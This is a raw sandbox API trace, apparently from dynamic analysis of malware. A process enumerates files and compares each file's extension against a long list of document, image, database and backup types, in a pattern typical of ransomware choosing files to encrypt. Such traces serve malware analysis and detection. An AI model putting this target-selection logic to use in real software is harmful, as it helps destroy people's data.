[0093.505] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0093.505] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0093.505] lstrlenW (lpString=".1cd") returned 4 [0093.505] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0093.505] lstrlenW (lpString=".3ds") returned 4 [0093.505] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0093.505] lstrlenW (lpString=".3fr") returned 4 [0093.505] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0093.505] lstrlenW (lpString=".3g2") returned 4 [0093.505] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0093.505] lstrlenW (lpString=".3gp") returned 4 [0093.505] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0093.506] lstrlenW (lpString=".7z") returned 3 [0093.506] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0093.506] lstrlenW (lpString=".accda") returned 6 [0093.506] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0093.506] lstrlenW (lpString=".accdb") returned 6 [0093.506] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0093.506] lstrlenW (lpString=".accdc") returned 6 [0093.506] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0093.506] lstrlenW (lpString=".accde") returned 6 [0093.506] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0093.506] lstrlenW (lpString=".accdt") returned 6 [0093.506] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0093.506] lstrlenW (lpString=".accdw") returned 6 [0093.506] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0093.506] lstrlenW (lpString=".adb") returned 4 [0093.506] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0093.506] lstrlenW (lpString=".adp") returned 4 [0093.506] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0093.506] lstrlenW (lpString=".ai") returned 3 [0093.506] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0093.506] lstrlenW (lpString=".ai3") returned 4 [0093.506] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0093.506] lstrlenW (lpString=".ai4") returned 4 [0093.506] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0093.506] lstrlenW (lpString=".ai5") returned 4 [0093.506] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0093.506] lstrlenW (lpString=".ai6") returned 4 [0093.507] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".ai7") returned 4 [0093.507] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".ai8") returned 4 [0093.507] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".anim") returned 5 [0093.507] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0093.507] lstrlenW (lpString=".arw") returned 4 [0093.507] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".as") returned 3 [0093.507] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0093.507] lstrlenW (lpString=".asa") returned 4 [0093.507] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".asc") returned 4 [0093.507] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".ascx") returned 5 [0093.507] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0093.507] lstrlenW (lpString=".asm") returned 4 [0093.507] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".asmx") returned 5 [0093.507] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0093.507] lstrlenW (lpString=".asp") returned 4 [0093.507] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0093.507] lstrlenW (lpString=".aspx") returned 5 [0093.507] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0093.507] lstrlenW (lpString=".asr") returned 4 [0093.507] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".asx") returned 4 [0093.508] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".avi") returned 4 [0093.508] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".avs") returned 4 [0093.508] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".backup") returned 7 [0093.508] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0093.508] lstrlenW (lpString=".bak") returned 4 [0093.508] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".bay") returned 4 [0093.508] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".bd") returned 3 [0093.508] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0093.508] lstrlenW (lpString=".bin") returned 4 [0093.508] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".bmp") returned 4 [0093.508] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".bz2") returned 4 [0093.508] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".c") returned 2 [0093.508] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0093.508] lstrlenW (lpString=".cdr") returned 4 [0093.508] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".cer") returned 4 [0093.508] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0093.508] lstrlenW (lpString=".cf") returned 3 [0093.509] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0093.509] lstrlenW (lpString=".cfc") returned 4 [0093.509] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".cfm") returned 4 [0093.509] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".cfml") returned 5 [0093.509] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0093.509] lstrlenW (lpString=".cfu") returned 4 [0093.509] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".chm") returned 4 [0093.509] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".cin") returned 4 [0093.509] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".class") returned 6 [0093.509] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0093.509] lstrlenW (lpString=".clx") returned 4 [0093.509] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".config") returned 7 [0093.509] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0093.509] lstrlenW (lpString=".cpp") returned 4 [0093.509] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".cr2") returned 4 [0093.509] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".crt") returned 4 [0093.509] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".crw") returned 4 [0093.509] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0093.509] lstrlenW (lpString=".cs") returned 3 [0093.510] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0093.510] lstrlenW (lpString=".css") returned 4 [0093.510] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".csv") returned 4 [0093.510] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".cub") returned 4 [0093.510] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dae") returned 4 [0093.510] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dat") returned 4 [0093.510] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".db") returned 3 [0093.510] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0093.510] lstrlenW (lpString=".dbf") returned 4 [0093.510] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dbx") returned 4 [0093.510] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dc3") returned 4 [0093.510] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dcm") returned 4 [0093.510] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dcr") returned 4 [0093.510] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".der") returned 4 [0093.510] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0093.510] lstrlenW (lpString=".dib") returned 4 [0093.510] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".dic") returned 4 [0093.511] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".dif") returned 4 [0093.511] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".divx") returned 5 [0093.511] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0093.511] lstrlenW (lpString=".djvu") returned 5 [0093.511] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0093.511] lstrlenW (lpString=".dng") returned 4 [0093.511] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".doc") returned 4 [0093.511] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".docm") returned 5 [0093.511] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0093.511] lstrlenW (lpString=".docx") returned 5 [0093.511] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0093.511] lstrlenW (lpString=".dot") returned 4 [0093.511] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".dotm") returned 5 [0093.511] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0093.511] lstrlenW (lpString=".dotx") returned 5 [0093.511] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0093.511] lstrlenW (lpString=".dpx") returned 4 [0093.511] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".dqy") returned 4 [0093.511] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0093.511] lstrlenW (lpString=".dsn") returned 4 [0093.512] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0093.512] lstrlenW (lpString=".dt") returned 3 [0093.512] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0093.512] lstrlenW (lpString=".dtd") returned 4 [0093.512] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0093.512] lstrlenW (lpString=".dwg") returned 4 [0093.512] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0093.512] lstrlenW (lpString=".dwt") returned 4 [0093.512] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0093.512] lstrlenW (lpString=".dx") returned 3 [0093.512] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0093.512] lstrlenW (lpString=".dxf") returned 4 [0093.512] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0093.512] lstrlenW (lpString=".edml") returned 5 [0093.512] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0093.512] lstrlenW (lpString=".efd") returned 4 [0093.512] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0093.512] lstrlenW (lpString=".elf") returned 4 [0093.513] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".emf") returned 4 [0093.513] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".emz") returned 4 [0093.513] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".epf") returned 4 [0093.513] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".eps") returned 4 [0093.513] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".epsf") returned 5 [0093.513] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0093.513] lstrlenW (lpString=".epsp") returned 5 [0093.513] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0093.513] lstrlenW (lpString=".erf") returned 4 [0093.513] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".exr") returned 4 [0093.513] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".f4v") returned 4 [0093.513] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".fido") returned 5 [0093.513] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0093.513] lstrlenW (lpString=".flm") returned 4 [0093.513] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".flv") returned 4 [0093.513] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0093.513] lstrlenW (lpString=".frm") returned 4 [0093.513] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".fxg") returned 4 [0093.514] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".geo") returned 4 [0093.514] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".gif") returned 4 [0093.514] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".grs") returned 4 [0093.514] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".gz") returned 3 [0093.514] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0093.514] lstrlenW (lpString=".h") returned 2 [0093.514] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0093.514] lstrlenW (lpString=".hdr") returned 4 [0093.514] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".hpp") returned 4 [0093.514] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".hta") returned 4 [0093.514] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".htc") returned 4 [0093.514] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".htm") returned 4 [0093.514] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0093.514] lstrlenW (lpString=".html") returned 5 [0093.514] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0093.514] lstrlenW (lpString=".icb") returned 4 [0093.515] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".ics") returned 4 [0093.515] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".iff") returned 4 [0093.515] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".inc") returned 4 [0093.515] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".indd") returned 5 [0093.515] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0093.515] lstrlenW (lpString=".ini") returned 4 [0093.515] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".iqy") returned 4 [0093.515] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".j2c") returned 4 [0093.515] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".j2k") returned 4 [0093.515] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".java") returned 5 [0093.515] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0093.515] lstrlenW (lpString=".jp2") returned 4 [0093.515] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0093.515] lstrlenW (lpString=".jpc") returned 4 [0093.516] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".jpe") returned 4 [0093.516] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".jpeg") returned 5 [0093.516] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0093.516] lstrlenW (lpString=".jpf") returned 4 [0093.516] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".jpg") returned 4 [0093.516] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".jpx") returned 4 [0093.516] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".js") returned 3 [0093.516] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0093.516] lstrlenW (lpString=".jsf") returned 4 [0093.516] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".json") returned 5 [0093.516] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0093.516] lstrlenW (lpString=".jsp") returned 4 [0093.516] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".kdc") returned 4 [0093.516] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".kmz") returned 4 [0093.516] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".kwm") returned 4 [0093.516] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0093.516] lstrlenW (lpString=".lasso") returned 6 [0093.516] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0093.517] lstrlenW (lpString=".lbi") returned 4 [0093.517] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".lgf") returned 4 [0093.517] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".lgp") returned 4 [0093.517] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".log") returned 4 [0093.517] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0093.517] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0093.517] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0093.517] lstrlenW (lpString=".1cd") returned 4 [0093.517] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".3ds") returned 4 [0093.517] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".3fr") returned 4 [0093.517] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".3g2") returned 4 [0093.517] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0093.517] lstrlenW (lpString=".3gp") returned 4 [0093.517] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0093.518] lstrlenW (lpString=".7z") returned 3 [0093.518] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0093.518] lstrlenW (lpString=".accda") returned 6 [0093.518] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0093.518] lstrlenW (lpString=".accdb") returned 6 [0093.518] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0093.518] lstrlenW (lpString=".accdc") returned 6 [0093.518] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0093.518] lstrlenW (lpString=".accde") returned 6 [0093.518] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0093.518] lstrlenW (lpString=".accdt") returned 6 [0093.518] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0093.518] lstrlenW (lpString=".accdw") returned 6 [0093.518] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0093.518] lstrlenW (lpString=".adb") returned 4 [0093.518] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0093.518] lstrlenW (lpString=".adp") returned 4 [0093.518] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0093.518] lstrlenW (lpString=".ai") returned 3 [0093.518] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0093.518] lstrlenW (lpString=".ai3") returned 4 [0093.518] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0093.518] lstrlenW (lpString=".ai4") returned 4 [0093.518] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0093.518] lstrlenW (lpString=".ai5") returned 4 [0093.518] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0093.518] lstrlenW (lpString=".ai6") returned 4 [0093.519] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".ai7") returned 4 [0093.519] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".ai8") returned 4 [0093.519] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".anim") returned 5 [0093.519] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0093.519] lstrlenW (lpString=".arw") returned 4 [0093.519] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".as") returned 3 [0093.519] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0093.519] lstrlenW (lpString=".asa") returned 4 [0093.519] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".asc") returned 4 [0093.519] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".ascx") returned 5 [0093.519] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0093.519] lstrlenW (lpString=".asm") returned 4 [0093.519] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".asmx") returned 5 [0093.519] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0093.519] lstrlenW (lpString=".asp") returned 4 [0093.519] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0093.519] lstrlenW (lpString=".aspx") returned 5 [0093.519] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0093.519] lstrlenW (lpString=".asr") returned 4 [0093.519] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".asx") returned 4 [0093.520] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".avi") returned 4 [0093.520] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".avs") returned 4 [0093.520] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".backup") returned 7 [0093.520] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0093.520] lstrlenW (lpString=".bak") returned 4 [0093.520] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".bay") returned 4 [0093.520] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".bd") returned 3 [0093.520] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0093.520] lstrlenW (lpString=".bin") returned 4 [0093.520] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".bmp") returned 4 [0093.520] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".bz2") returned 4 [0093.520] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".c") returned 2 [0093.520] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0093.520] lstrlenW (lpString=".cdr") returned 4 [0093.520] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".cer") returned 4 [0093.520] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0093.520] lstrlenW (lpString=".cf") returned 3 [0093.521] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0093.521] lstrlenW (lpString=".cfc") returned 4 [0093.521] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".cfm") returned 4 [0093.521] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".cfml") returned 5 [0093.521] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0093.521] lstrlenW (lpString=".cfu") returned 4 [0093.521] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".chm") returned 4 [0093.521] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".cin") returned 4 [0093.521] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".class") returned 6 [0093.521] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0093.521] lstrlenW (lpString=".clx") returned 4 [0093.521] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".config") returned 7 [0093.521] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0093.521] lstrlenW (lpString=".cpp") returned 4 [0093.521] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".cr2") returned 4 [0093.521] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".crt") returned 4 [0093.521] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".crw") returned 4 [0093.521] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0093.521] lstrlenW (lpString=".cs") returned 3 [0093.522] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0093.522] lstrlenW (lpString=".css") returned 4 [0093.522] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".csv") returned 4 [0093.522] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".cub") returned 4 [0093.522] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dae") returned 4 [0093.522] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dat") returned 4 [0093.522] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".db") returned 3 [0093.522] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0093.522] lstrlenW (lpString=".dbf") returned 4 [0093.522] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dbx") returned 4 [0093.522] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dc3") returned 4 [0093.522] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dcm") returned 4 [0093.522] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dcr") returned 4 [0093.522] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".der") returned 4 [0093.522] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0093.522] lstrlenW (lpString=".dib") returned 4 [0093.522] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 